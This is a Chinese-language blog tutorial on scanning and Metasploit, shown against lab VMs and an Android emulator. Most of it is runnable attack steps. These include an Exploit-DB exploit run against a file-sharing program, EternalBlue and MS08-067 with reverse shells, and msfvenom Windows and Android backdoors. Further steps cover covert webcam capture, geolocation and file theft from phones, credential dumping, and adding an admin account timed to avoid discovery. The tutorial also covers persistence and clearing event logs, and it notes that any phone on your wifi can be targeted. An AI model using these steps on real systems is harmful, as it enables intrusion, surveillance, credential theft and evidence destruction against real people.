前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >黑客玩具入门——4、漏洞扫描与Metasploit

黑客玩具入门——4、漏洞扫描与Metasploit

作者头像
zaking
发布2023-12-01 10:56:31
7370
发布2023-12-01 10:56:31
举报
文章被收录于专栏:zaking'szaking's

1、Legion漏洞扫描分析工具

Legion是Sparta的一个分支,它是一个开源的、易于使用的、超级可扩展的、半自动的网络渗透测试框架。它是一款Kali Linux系统默认集成的Python GUI应用程序工具。Legion是一个Nmap、Nikto、Hydra等工具的集合,利用各个工具的优秀功能,完成收集信息、扫描和爆破等任务。

Legion主要包含以下功能:端口扫描,程序自动调用Nmap进行扫描,根据Nmap的扫描结果,nikto自动加载结果,展开更精确的扫描。针对扫描结果,使用特定的工具,比如dirbuster目录爆破,利用webslayer进行web指纹识别。针对可暴力破解的端口,调用hydra进行暴力破解。下面我们来看下如何使用这款工具:

首先我们先登录Metasploitable2,通过ifconfig命令获取其IP地址。然后

打开Legion工具。然后输入sudo legion启动工具。

点击加号。

在这里输入你要渗透的ip即可,然后点击submit按钮即可。

2、漏洞利用searchsploit

首先,大家先记下一个地址:https://www.exploit-db.com/。它是专门用来收集各种漏洞的网站。在kali系统中,有搜索漏洞数据库的本地副本,我们可以在终端窗口中输入命令去搜索。

命令就是searchsploit,它的常用选项如下:

  1. -c,--case [Term]:执行区分大小写的搜索,默认搜索对大小写不敏感。
  2. -e,--exact [Term]:对exploit标题执行EXACT匹配(默认为AND)。
  3. -j,--json [Term]:以JSON格式显示结果。
  4. -m,--mirror [EDB-ID]:将一个漏洞利用镜像副本到当前工作目录。
  5. -o,--overflow [Term]: exploit标题被允许溢出其列。
  6. -p,--path [EDB-ID]:显示漏洞利用的完整路径。如果可能, 还将复制路径到粘贴板。
  7. -t,--title [Term]:仅仅搜索漏洞标题,默认是标题和文件的路径。
  8. -u,--update [Term]:检查并安装任何exploit-db软件包更新。
  9. -w,--www [Term]:显示exploit-db.com的URL而不是本地路径(在线搜索)。

下面我们看下例子:

  1. searchsploit -t oracle windows:搜索标题中包含oracle windows的漏洞。
  2. searchsploit -p 3389:搜索漏洞号为3389的漏洞。
  3. searchsploit mysql:查找mysql的漏洞。
  4. searchsploit apple:查找apple的漏洞。

实践:

  1. 我们需要在win7上安装一个easy file sharing的软件,该软件是一种允许访客容易的经由浏览器上传、下载文件的文件分享系统。
  2. 安装完成后,我们可以在kali系统中,通过searchsploit easy file sharing命令,来查看该软件的一些漏洞。
  1. 然后我们找到/usr/share/exploitdb/exploits/windows/remote/。这个地址下的39009.py文件。
  1. 由于是python脚本所以我们使用python命令来执行,完整的命令是这样的:python /usr/share/exploitdb/exploits/windows/remote/39009.py xxx.xxx.xxx.xxx 80。
  2. 然后回车,就会发现windows7中的计算器打开了。就说明你的脚本入侵成功了。

3、Metasploit简介

Metasploit被业内誉为可以黑掉整个宇宙的工具,虽然有些夸张,但是足以见得Metasploit有多强大。Metasploit是目前最流行、 最强大、最具拓展性的渗透测试平台。2003年由HD摩尔发布第一版,2007年用ruby语言重写。后来被Rapid7收购后,分出了多个版本,有付费的,也有免费的。 Metasploit的官网是:https://www.metasploit.com/

我们可以在Kali系统中找到该软件:

点击之后输入系统root密码,等待一会后,就变成这样了:

4、Metasploit:端口扫描

实验靶机:metasploitable2。

  1. 使用Nmap进行扫描,nmap xxx.xxx.xxx.xxx。
  2. 用metasploit模块进行扫描,search portscan。
  3. use auxiliary/scanner/portscan/tcp。
  4. show options,查看需要设置的参数。
  5. set rhosts xxx.xxx.xxx.xxx。
  6. 然后输入命令:run。即可。

5、Metasploit:SMB扫描

实验靶机:win7。

SMB,全称是Server Message Block,即服务信息块,是一个协议名。它能被用于Web链接和客户端与服务器之间的信息沟通。通过扫描SMB,可以识别目标的系统信息。

  1. search smb。
  2. use auxiliary/scanner/smb/smb_version。
  3. set rhosts xxx.xxx.xxx.xxx。
  4. run。

6、Metasploit:服务识别

实验靶机:linux。

扫描服务器的SSH服务。

  1. search ssh。
  2. use auxiliary/scanner/ssh/ssh_version。
  3. set rhosts xxx.xxx.xxx.xxx。
  4. run。

7、Metasploit:网络嗅探

获取FTP密码。

我们需要一个模拟用户:win7。需要一个实验靶机:Windows server 2008(带有FTP服务)。

  1. use auxiliary/sniffer/psnuffle,使用嗅探模块。
  2. sudo su,如果权限不够的话,切换用户。
  3. 输入msfconsole,启动Metasploit。
  4. 然后再实用模块,run即可。

8、Metasploit:SNMP扫描与枚举

SNMP是专门设计用于在IP网络管理网络节点(服务器、工作站、路由器、交换机等)的一种标准协议,它是一种应用层协议。各种网络设备上都可以看到默认启用的SNMP服务,从交换机到路由器,从防火墙到网络打印机,无一例外。

本次的实验靶机:Metasploitable2。

默认情况下,Metasploitable2的SNMP服务仅监听本地主机。所以我们需要对靶机的默认配置做一下修改。

  1. cd /etc/default/snmpd。
  2. 然后通过vim编辑一下,snmpd.pid 后面的ip改成0.0.0.0即可。
  3. 然后跟之前一样,搜索snmp相关的模块:search snmp_login。
  4. 然后,use auxiliary/scanner/snmp/snmp_login。
  5. 然后就是set ip。再就是run。完了
  6. 我们还可以使用auxiliary/scanner/snmp/snmp_enum模块。这里就不重复如何使用了。

9、Metasploit:扫描弱密码主机

实验靶机:多台windows。

使用的模块:auxiliary/scanner/smb/smb_login。

知道ip地址范围即可,批量扫描。

10、Metasploit:VNC身份识别

VNC(Virtual Network Console)是虚拟网络控制台的缩写。它是一款优秀的远程控制工具软件。VNC是在基于UNIX和Linux操作系统的免费的开源软件,远程控制能力强大,高效实用,其性能可以和windows和Mac中的任何远程控制软件媲美。在Linux中,VNC包括以下四个命令:

  1. vncserver
  2. vncviewer
  3. vncpasswd
  4. vncconnect

大多数情况,只需要1、2两个命令即可。

实验靶机:Metaspolitable2。

  1. use auxiliary/scanner/vnc/vnc_none_auth。
  2. set rhosts xxx.xxx.xxx.xxx。
  3. run。

然后我们试下vnc密码爆破

  1. use auxiliary/scanner/vnc/vnc_login。
  2. set rhosts xxx.xxx.xxx.xxx。
  3. run。

然后我们有了密码,试下vnc登录。

  1. 打开一个新的终端。
  2. 然后输入vncviewer xxx.xxx.xxx.xxx。
  3. 输入爆破出来的密码即可远程连接上了。

11、Wmap网站漏洞扫描

Wmap本身不是一个独立的漏洞扫描器,而是作为Metasploit的一个模块。结合Web漏洞和Web服务相关的模块协同工作,完成目标服务器的扫描任务。它的扫描结果不会自动生成报告,而是直接存入Metasploit的数据库。

  1. load wmap:加载wmap
  2. wmap_sites -a http://xxx.xxx.xxx.xxx/mutillidae/:向wmap中添加一个扫描站点。
  3. wmap_sites -l:查看已添加的站点。
  4. wmap_targets -d 0:根据已添加站点的ID,设置带扫描的目标站点。
  5. wmap_targets -l:检查已待扫描的目标主机。
  6. wmap_run -e:执行测试。
  7. vulns:扫描完成后,使用Metasploit命令检查漏洞记录。
  8. wmap_vulns -l。

实战:

  1. 先在Kali的浏览器里输入你已开启的Metasploitable2的虚拟机的ip。不同版本浏览器的位置可能会有些区别,但是你一定可以找到的。
  1. 然后可以看到这样一个超链接。
  1. 点击超链接,进入一个网站。这就是我们要扫描的网站。
  1. 然后执行:wmap_sites -a http://xxx.xxx.xxx.xxx/mutillidae/命令。
  2. 然后执行:wmap_sites -l。查看一下编号id。
  3. 然后执行测试:wmap_run -e。
  4. 等待结束后,可以通过vulns然后wmap_vulns -l命令查看漏洞。

12、Metasploit远程代码执行

实验靶机:Window Server 2008/Windows 7。

  1. search ms17-010。ms:微软。17:17年。010:第十个。
  2. 然后执行:use exploit/windows/smb/ms17_010_eternalblue。
  3. 设置一下相关的参数:
    • set rhosts xxx.xxx.xxx.xxx。
    • set payload windows/x64/shell/reverse_tcp。
    • set lhost xxx.xxx.xxx.xxx。
  4. run。

13、Metasploit:利用浏览器漏洞远程执行代码

实验靶机:Windows XP。漏洞利用:ms12-004。

  1. search ms12-004。
  2. use exploit/windows/browser/ms12_004_midi。
  3. set srvhost xxx.xxx.xxx.xxx(当前主机ip)。
  4. set payload windows/x64/shell/reverse_tcp。
  5. set lport 6666。
  6. run。
  7. 然后监听成功后,会生成一个随机的地址。在windows上打开这个地址。回到kali的命令行中,可以查看到它的session。
  8. 然后输入命令:sessions。
  9. 然后使用session:sessions -i [session id]。
  10. 然后就可以进去了。

14、Metasploit:漏洞提权

实验靶机:windows xp。

前提必须要有一个session会话。

  1. search ms08-067。
  2. use exploit/windows/smb/ms08_067_netapi。
  3. set rhosts xxx.xxx.xxx.xxx。
  4. set lport 5555。
  5. run。
  6. sessions。
  7. search 14-002。
  8. use exploit/windows/local/bthpan。
  9. set session [session id]。
  10. set payload windows/meterpreter/reverse_tcp。
  11. set lport 6666。
  12. run。

其他模块:

  1. exploit/windows/local/ms13_053_schlamperei
  2. exploit/windows/local/ms13_081_track_popup_menu

15、Metasploit:生成后门

首先,windows、Linux、java、php、Android等后门都支持。嘿嘿。

1、生成windows后门

命令:

  1. msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本机ip) lport=5555 -f exe -o /home/kali(你的home目录下的用户目录)/payload.exe
  2. msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本机ip) lport=5555 -i 3 -e x86/shikata_ga_nai -f exe -o /home/kali(你的home目录下的用户目录)/payload.exe

Msfvenom:

  1. msfvenom --list archs,查看支持的系统架构。
  2. msfvenom --list platforms,查看支持系统平台。
  3. msfvenom -l payload,查看所有可用的payload。
  4. msfvenom -l formats,查看所有的输出格式。
  5. msfvenom -l encrypt,查看所有的加密方式。
  6. msfvenom -l encoders,查看所有的解码器。

实践:

  1. 先输入上面的命令中的第一条命令,然后在你的home/XXX目录下可以看到一个payload.exe文件。
  2. 然后我们需要启动apache服务:sudo service apache2 start。
  3. 然后在windows的虚拟机里,可以通过浏览器访问kali的ip地址,就会打印出Apache服务。
  4. 然后我们把生成的exe文件复制到windows中。
    1. 删除Apache主页的页面,把payload.exe复制过去。(想要右键删除,发现删不了,好吧,用命令行删吧)
      • cd /var/www/html。
      • sudo rm index.nginx-debian.html
      • sudo rm index.html
      • sudo cp /home/xx(你的用户名)/payload.exe /var/www/html/
    2. 然后刷新windows浏览器刚才的地址,就会看到一个文件,然后把它保存到本地的桌面上即可。
  5. 打开Metasploit。(刚才的payload.exe相当于被控端,我们还需要和主控端结合使用)。设置使用模块及参数:
    1. use exploit/multi/handler
    2. set payload windows/meterpreter/reverse_tcp
    3. set lhost xxx.xxx.xxx.xxx(你的主控端ip)
    4. set lport 5555
    5. run
  6. 然后出现下面的命令行主机名就说明我们成功了:
2、生成Android后门

实验靶机:Android模拟器。

总体的流程跟windows后门是很类似的,只是使用的模块有些许的区别。我们需要修改一些配置:

  1. 把kali系统的网络连接模式改成桥接模式,因为安卓模拟器是安在物理主机上的,桥接模式之前讲过了这里不再多说。
  1. 安装一个安卓模拟器,不要安装腾讯手游助手,那个更偏向游戏玩耍。安装个夜神啊啥的都行。注意,是安装在你的物理机上的。
  2. 然后输入:sudo ifconfig。我们会发现,ip地址变化了。

实验开始:

  1. msfvenom -p android/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本机ip) lport=5555 R>/home/kali(你的home目录下的用户目录)/payload.apk
  2. 同样的开始Apache服务:sudo service apache2 start。
  3. 然后在你的安卓模拟器的浏览器里,输入你的kali虚拟机的ip。
  4. 把你的apk安装包复制到apache目录下:sudo cp /home/zakingwong/payload.apk /var/www/html/。
  5. 刷新下安卓模拟器的目录。发现有了新的apk文件。
  6. 跟windows的操作一样,下载apk,安装apk。
  7. 然后,打开Metasploit。
  8. 使用主控端模块,跟windows一样:use exploit/multi/handler。
  9. set payload android/meterpreter/reverse_tcp。
  10. set lhost xxx.xxx.xxx.xxx(你的主控端ip)。
  11. set lport 5555。
  12. run

然后你就可以干你想干的事了。

3、远程控制安卓手机,调用摄像头拍照
  1. webacm_list,查看有哪些摄像头。
  2. webacm_snap,从指定的摄像头拍摄快照:
    • -h:显示帮助。
    • -i:要使用的网络摄像头的索引号。
    • -p:JPEG图像文件路径。默认为HOME/[随机乱码名字].jpeg。
    • -q:JPEG图像质量,默认为50。
    • -v:自动查看JPEG图像,默认为“true”。
  3. webcam_stream:从指定的网络摄像头播放视频流。
  4. 然后,自己用命令去玩吧。
  5. 友情提示,链接你wifi的安卓手机,都可以这么玩。所以,不要干坏事!!!!违法的!!!
4、远程控制安卓手机,上传下载文件

我们先来学下文件系统命令:

  1. cat,读取并输出到标准输出。
  2. cd,更改目录。
  3. checksum,检索文件的校验和。
  4. cp,将源文件复制到目标文件夹。
  5. dir,列表文件,ls的别名。
  6. download,从目标系统文件下载。
  7. eidt,用vim编辑文件。
  8. getlwd,打印本地目录。
  9. getwd,打印工作目录。
  10. lcd,更改本地目录。
  11. lls,列出本地文件。
  12. lpwd,打印本地工作目录。
  13. ls,列出文件。
  14. mkdir,创建目录。
  15. mv,将源文件移动到目标目录。
  16. pwd,输出工作目录。
  17. rm,删除文件。
  18. search,搜索文件。
  19. upload,上传文件或目录。

实践从手机下载文件,上传文件,大家可以自己尝试哦:

  1. cd /
  2. ls
  3. cd sdcard
  4. ls
  5. cd DCIM
  6. ls
  7. cd Camera
  8. download 1.jpeg
5、远程控制安卓手机,实现定位

具体的Android命令有很多,这里就不多说了,大家有兴趣可以自己去百度查下。然后实现定位就很简单了,使用geolocate命令即可。

16、Meterpreter:Windows访问文件系统

  1. 首先,把网络连接模式修改成NAT模式
  2. 在windows运行之前生成好的exe文件,如果不知道咋回事回头看下。
  3. 在kali系统上开启主控端:use exploit/multi/handler 。
  4. set payload windows/meterpreter/reverse_tcp。
  5. set lport 6666。
  6. set lhost xxx.xxx.xxx.xxx(主控端ip)。
  7. run。
  8. 跟之前一样,被控端安装下exe文件。
  9. 然后就可以操作windows的系统文件了。相关命令跟之前安卓部分的命令都差不多。这里就不多说了。

17、Meterpreter:Windows权限提升和获取凭证

有的时候,你可能会发现自己的Meterpreter会话受到了用户权限的限制。修改注册表、安装后门或导出密码等活动都需要提升用权限。而Meterpreter给我们提供了一个getsystem命令,可以实现提权。

另外,getuid可以获取当前的用户信息,system是系统的最高权限。如果使用system命令仍无法获取,那么接下来可以使用之前学过的漏洞提权。

我们来看下漏洞提权的实践步骤:

  1. search ms13-053。
  2. use exploit/windows/local/ms13_053_schlamperei。
  3. 然后我们需要设置一下session。之前学过的,这里不说了。
  4. set session 1。
  5. set payload windows/meterpreter/reverse_tcp。
  6. set lport 6666。
  7. run。

提升权限后,可以通过hashdump模块,从SAM数据库中导出本地账号。数据的输出格式是:

代码语言:javascript
复制
用户名:SID:LM哈希:NTLM哈希:::

18、Meterpreter:Windows运行程序和屏幕截图

快速执行命令脚本:每次我们执行的命令内容基本上都是类似的,所以我们可以创建一个文件。

1.然后右键选择用mousepad打开。

  2.然后可以把我们常用的命令写到这个脚本里。内容如下:

代码语言:javascript
复制
use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.10.129

set lport 5555

  3.然后保存文件。

  4.打开Metasploit。输入这样的命令:resource /home/(你的用户名)/windows_control。

  5.脚本就运行了。

  6.然后直接run。

  7.再打开被控端就可以了。

1、运行程序

execute命令可以可以在目标系统中执行应用程序。该命令的使用方法如下:

  1. execute -f <file> [Options]
    • -H,创建一个隐藏进程。
    • -a,传递给命令的参数。
    • -i,跟进程进行交互。
    • -m,从内存中执行。
    • -t,使用当前伪造的线程令牌运行进程。
    • -s,在给定会话中执行进程。

然后哈哈哈哈哈,我们可以试一下这个命令:execute -f calc.exe。打开Windows的计算器。哦吼,好玩吧。

2、屏幕截图

screenshot命令来进行截图,并存储在kali中。

screenshare命令可以进行实时的监控。

19、Meterpreter:Windows创建新账号和启用远程桌面

1、创建新账号

通过getgui脚本,使用-u和-p参数,并给它分配管理员权限,然后将其添加到远程桌面用户组中。

代码语言:javascript
复制
run getgui -u hack -p pass123

注意:如果你的权限不是SYSTEM,需要用之前学过的方法进行提权。提权之后再用上面的命令创建用户。

2、启用远程桌面

如果用户没有开启远程桌面功能,那么可以通过:

代码语言:javascript
复制
run getgui -e

来开启远程桌面。

在开启远程桌面之前,我们还需要使用idletime命令检查远程用户的空闲时常,这样可以降低你被发现的概率。

然后我们在新的终端执行:rdesktop [你的目标ip:3389]。

然后可能你创建的用户权限不够。那么你可以在Meterpreter中执行shell命令,也就是打开你控制的目标主机的终端,执行下面的命令:

net localgroup administrators hack/add。这里的hack就是你之前创建的用户名。

20、Meterpreter:Windows进程绑定和清除事件日志

1、进程绑定

Meterpreter可以通过与其他进程绑定来实现持久化。

  1. 使用ps命令查看运行的进程。(当然要通过之前写好的脚本链接主控端和被控端,进入Meterpreter)
  2. 通过getpid命令,拿到当前你这个hack脚本的进程。
  3. 然后我们随便找一个ps列出来的进程绑定吧。使用migrate [pid]命令即可。
  4. 在查看pid就会变成绑定的那个pid了。
2、清除日志

可以通过clearev命令来清除日志。

ps:我们可以通过右键计算机-》管理-》事件查看器-》Windows日志。来查看日志。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2023-11-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、Legion漏洞扫描分析工具
  • 2、漏洞利用searchsploit
  • 3、Metasploit简介
  • 4、Metasploit:端口扫描
  • 5、Metasploit:SMB扫描
  • 6、Metasploit:服务识别
  • 7、Metasploit:网络嗅探
  • 8、Metasploit:SNMP扫描与枚举
  • 9、Metasploit:扫描弱密码主机
  • 10、Metasploit:VNC身份识别
  • 11、Wmap网站漏洞扫描
  • 12、Metasploit远程代码执行
  • 13、Metasploit:利用浏览器漏洞远程执行代码
  • 14、Metasploit:漏洞提权
  • 15、Metasploit:生成后门
    • 1、生成windows后门
      • 2、生成Android后门
        • 3、远程控制安卓手机,调用摄像头拍照
          • 4、远程控制安卓手机,上传下载文件
            • 5、远程控制安卓手机,实现定位
            • 16、Meterpreter:Windows访问文件系统
            • 17、Meterpreter:Windows权限提升和获取凭证
            • 18、Meterpreter:Windows运行程序和屏幕截图
              • 1、运行程序
                • 2、屏幕截图
                • 19、Meterpreter:Windows创建新账号和启用远程桌面
                  • 1、创建新账号
                    • 2、启用远程桌面
                    • 20、Meterpreter:Windows进程绑定和清除事件日志
                      • 1、进程绑定
                        • 2、清除日志
                        相关产品与服务
                        脆弱性检测服务
                        脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
                        领券
                        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档